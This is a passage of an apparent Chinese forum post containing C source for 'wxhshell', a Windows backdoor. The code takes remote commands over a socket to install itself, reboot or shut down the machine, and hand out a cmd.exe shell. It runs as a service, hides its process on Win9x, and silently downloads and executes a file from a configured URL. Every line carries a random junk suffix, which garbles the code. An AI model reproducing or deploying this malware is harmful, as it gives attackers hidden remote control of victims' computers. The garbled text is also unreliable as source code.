      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qg*xdefQ%  
    break; xj5MKX{CJT  
  } DtZ7UX\P  
  // 安装 m$g{&  
  case 'i': { n0uL^{B  
    if(Install()) VT;cz6"6b4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vJQ_mz  
    else *N](Xtbj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xa$tW%)  
    break; Pb7-pu5 X  
    } 5X^`qUSv  
  // 卸载 @Dd(  
  case 'r': { 0{stIgB$  
    if(Uninstall()) g&/r =U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V|4k=_-  
    else .G/RQn]x}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |KSoS#Y  
    break; oCKn  
    } +@do<2l]  
  // 显示 wxhshell 所在路径 `Tr !Gj_  
  case 'p': { %.:]4jhk  
    char svExeFile[MAX_PATH]; iP?lP= M  
    strcpy(svExeFile,"\n\r"); 7V"Jfh4_  
      strcat(svExeFile,ExeFile); H$,wg!kY!  
        send(wsh,svExeFile,strlen(svExeFile),0); ^>s{o5H&  
    break; hgdr\ F  
    } ?~;q r  
  // 重启 LEAU3doK;  
  case 'b': { LO k J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1R#1Fy%  
    if(Boot(REBOOT)) wy""02j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O5JG!bGE_F  
    else { q=k[]vD  
    closesocket(wsh); :eSwXDy&  
    ExitThread(0); KPa@~rU  
    } - ysd`&  
    break; raZ0B,;eFu  
    } 2'?C  
  // 关机 `yM9XjEl>  
  case 'd': { TEbE-h0)]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hNF,sA  
    if(Boot(SHUTDOWN)) sv#/78~|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v2 >Dn=V  
    else { gv,%5r0YOw  
    closesocket(wsh); 2K2*UC`f  
    ExitThread(0); s~I#K[[5  
    } VWMr\]g  
    break; VS+5{w:t  
    } *C(q{|f  
  // 获取shell N&W7g#F  
  case 's': { k-$J #  
    CmdShell(wsh); c`#4}$  
    closesocket(wsh); ZC&4uNUr  
    ExitThread(0); Bs<LJzS{V  
    break; e!4Kl:  
  } 1tH#QZIT  
  // 退出 z| zd=3c  
  case 'x': { p49T3V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;{"uG>#R  
    CloseIt(wsh); U5j0i]  
    break; N 0(($8G  
    } ^K!R4Y4t  
  // 离开 (FOJHjtkM  
  case 'q': { )GJlQ1x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z_:r&UP`"  
    closesocket(wsh); s1zkkLw`*  
    WSACleanup(); :LD+B1$y  
    exit(1); ^bXCYkx  
    break; AKAxfnaR  
        } K(}<L-cv  
  } ^I!gteU;  
  } NqN9  
 83:qIfF  
  // 提示信息 KI5099_/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lDG.\u  
} Y= ^o {C6  
  } = 8\'AU  
2spK#0n.HV  
  return; CfHPJ: Qo[  
} 'h{DjNSM  
_B\X&!G.  
// shell模块句柄 #M8>)oc  
int CmdShell(SOCKET sock) Jl89}Sf  
{ &3Mps[u:h  
STARTUPINFO si; &sS]h|2Z5  
ZeroMemory(&si,sizeof(si)); Y\{lQMCy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7 6S>xnN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jry643K>:;  
PROCESS_INFORMATION ProcessInfo; H=5#cPI#(^  
char cmdline[]="cmd"; v0 |"[qGb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "z|%V/2b3  
  return 0; )auuk<  
} f8 L3+u  
zuBfkW95+  
// 自身启动模式 Q37zBC 0  
int StartFromService(void) .n)0@X!  
{ %gXNWxv  
typedef struct Y ^uYc}  
{ 8j!(*'J.  
  DWORD ExitStatus; p9iCrqi  
  DWORD PebBaseAddress; _ 4+=S)$  
  DWORD AffinityMask; ]Oe[;<I  
  DWORD BasePriority; m{0u+obi&w  
  ULONG UniqueProcessId; SP5t=#M6  
  ULONG InheritedFromUniqueProcessId; u5dyhx7  
}   PROCESS_BASIC_INFORMATION; \E EU G^T  
~8G cWy6  
PROCNTQSIP NtQueryInformationProcess; ~sc@49p  
|n.ydyu`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; | b)N;t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O; <YLS^|6  
=|bW >y  
  HANDLE             hProcess; eR5+1b  
  PROCESS_BASIC_INFORMATION pbi; nB86oQ/S  
1V1T1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !)'|Y5 o  
  if(NULL == hInst ) return 0; 69/qH_Y  
aV?r%'~Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zGE{Z A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?C9>bKo*2H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IctLhYZ  
]lzOz<0q  
  if (!NtQueryInformationProcess) return 0; Z(fhH..T`  
8^dsx1U#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z50f$!?  
  if(!hProcess) return 0; *g/@-6  
2E}^'o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f= l*+QY8f  
U*em)/9  
  CloseHandle(hProcess); Voc&T+A m  
9 TW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TVFxEV7Fx  
if(hProcess==NULL) return 0; p=J9N-EM  
,<?M/'4}G  
HMODULE hMod; a fhZM$  
char procName[255]; "Q<*H<e  
unsigned long cbNeeded; d@t3C8  
$~*d.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L\asrdL?=  
"n=Ih_J  
  CloseHandle(hProcess); q CB9z  
mPo].z  
if(strstr(procName,"services")) return 1; // 以服务启动 _a=f.I  
\78kShx  
  return 0; // 注册表启动 T?E[LzZg  
} y7# 4Mcc`~  
a'ODm6#  
// 主模块 XG}pp`{o  
int StartWxhshell(LPSTR lpCmdLine) W'9=st'  
{ }\/f~ ?tEh  
  SOCKET wsl; yw)Ztg)  
BOOL val=TRUE; |1(9_=i'  
  int port=0; m =2e1wc  
  struct sockaddr_in door; LlG~aGhel  
8?7:sfc  
  if(wscfg.ws_autoins) Install(); iP~dH/B|v  
15FGlO<<  
port=atoi(lpCmdLine); D?"TcA  
}~28UXb23  
if(port<=0) port=wscfg.ws_port; >xE{& ):  
/1q] D8  
  WSADATA data; mD p|EXN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z;JZ<vEt92  
9#@CmiIhy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ey "<hAF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +(<}`!9M*  
  door.sin_family = AF_INET; &Wup 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZVek`Cc2  
  door.sin_port = htons(port); [0G>=h@u  
+2ih!$T;7>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I"=XM   
closesocket(wsl); /aB9pD+%  
return 1; O}3M+  
} %7?v='s=  
"V`MNZ  
  if(listen(wsl,2) == INVALID_SOCKET) { {L8(5  
closesocket(wsl); vv,(ta@t2  
return 1; $'Hg}|53  
} TGz5t$]I  
  Wxhshell(wsl); ?iBHJ{  
  WSACleanup(); 2v<[XNX  
<!vAqqljt  
return 0; U q6..<#  
^$y_~z3o#7  
} BE }qwP^  
lA<IcW  
// 以NT服务方式启动 W$Bx?}x($  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P( W8XC  
{ o;JBe"1  
DWORD   status = 0; I -obfyije  
  DWORD   specificError = 0xfffffff; jjm-%W@  
u[oYVpe)IG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &7X0 ;<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >:`Y]6z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q=9S?p M  
  serviceStatus.dwWin32ExitCode     = 0; LV 94i  
  serviceStatus.dwServiceSpecificExitCode = 0; !m1pL0  
  serviceStatus.dwCheckPoint       = 0; T`=N^Ca1!`  
  serviceStatus.dwWaitHint       = 0; )N2yhdcqI  
.n`MPx'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k>Qr 14F  
  if (hServiceStatusHandle==0) return; pDlh^?cux  
V@K}'f~  
status = GetLastError(); >}/"g x  
  if (status!=NO_ERROR) +* )Qi)  
{ Q_#X*I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3Pp*ID  
    serviceStatus.dwCheckPoint       = 0; E4[\lX$J  
    serviceStatus.dwWaitHint       = 0; 9=I(AYG{m  
    serviceStatus.dwWin32ExitCode     = status; 6#5@d^a  
    serviceStatus.dwServiceSpecificExitCode = specificError; \o@b5z ]e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ffRY,1@  
    return; nx,67u/Pb  
  }  N _r*Ig  
ap9eQsC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,Ql3RO,  
  serviceStatus.dwCheckPoint       = 0; N[ArwV2O  
  serviceStatus.dwWaitHint       = 0; v.v3HB8p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n@g[VR2t  
} W^&t8d2  
{\ziy4<II  
// 处理NT服务事件,比如:启动、停止 cVn7jxf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~%Yh`c EP  
{ Z[`J'}?|  
switch(fdwControl) BoIe<{X(9  
{ 7XWgY%G  
case SERVICE_CONTROL_STOP: qTyU1RU$9^  
  serviceStatus.dwWin32ExitCode = 0; ^m8\fCA*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;wprHXjq  
  serviceStatus.dwCheckPoint   = 0; fC%;|V'Nd  
  serviceStatus.dwWaitHint     = 0; qBX<{[  
  { 5 |C;]pq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n]coqJ  
  } 8yFD2(#  
  return; Zml9 ndzT  
case SERVICE_CONTROL_PAUSE: Ed*`d>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [dU/;Sk5  
  break; ~5}b$qL#`  
case SERVICE_CONTROL_CONTINUE: =4JVUu~Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +Mm0bqNN  
  break; 4b3p,$BWS  
case SERVICE_CONTROL_INTERROGATE: cX.v^9kuX  
  break; a/^Yg rC\T  
}; x'JfRz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -07(#>  
} B{1+0k  
6x/ X8zu  
// 标准应用程序主函数 6nGDoW#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rzaEVXbz1  
{ web&M!-  
bJB:]vs$  
// 获取操作系统版本 =AcbX_[  
OsIsNt=GetOsVer(); KS(T%mk\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sQihyq6U;  
J;q3 fa  
  // 从命令行安装 ]P<&CEk  
  if(strpbrk(lpCmdLine,"iI")) Install(); /e{Oqhf[n  
( v ~/glf  
  // 下载执行文件 Z^GriL  
if(wscfg.ws_downexe) { A7b7IM[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )cs y^-qw  
  WinExec(wscfg.ws_filenam,SW_HIDE); QTn-n)AE  
} KI>7h.t  
sCRBKCR?  
if(!OsIsNt) { <U,T*Ql1x  
// 如果时win9x,隐藏进程并且设置为注册表启动 s^KxAw_IV  
HideProc(); |+`hSA  
StartWxhshell(lpCmdLine); W+K=M*^D;c  
} &*)tqQeQf  
else BTd'bD~EA  
  if(StartFromService()) LK:|~UV?  
  // 以服务方式启动 6gR=e+  
  StartServiceCtrlDispatcher(DispatchTable); [[ s k  
else T. ` %1S  
  // 普通方式启动 >MP PYVn7  
  StartWxhshell(lpCmdLine); O &w$  
$yFur[97C  
return 0; MzG(+B  
}
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只看该作者 1 发表于: 2006-10-10
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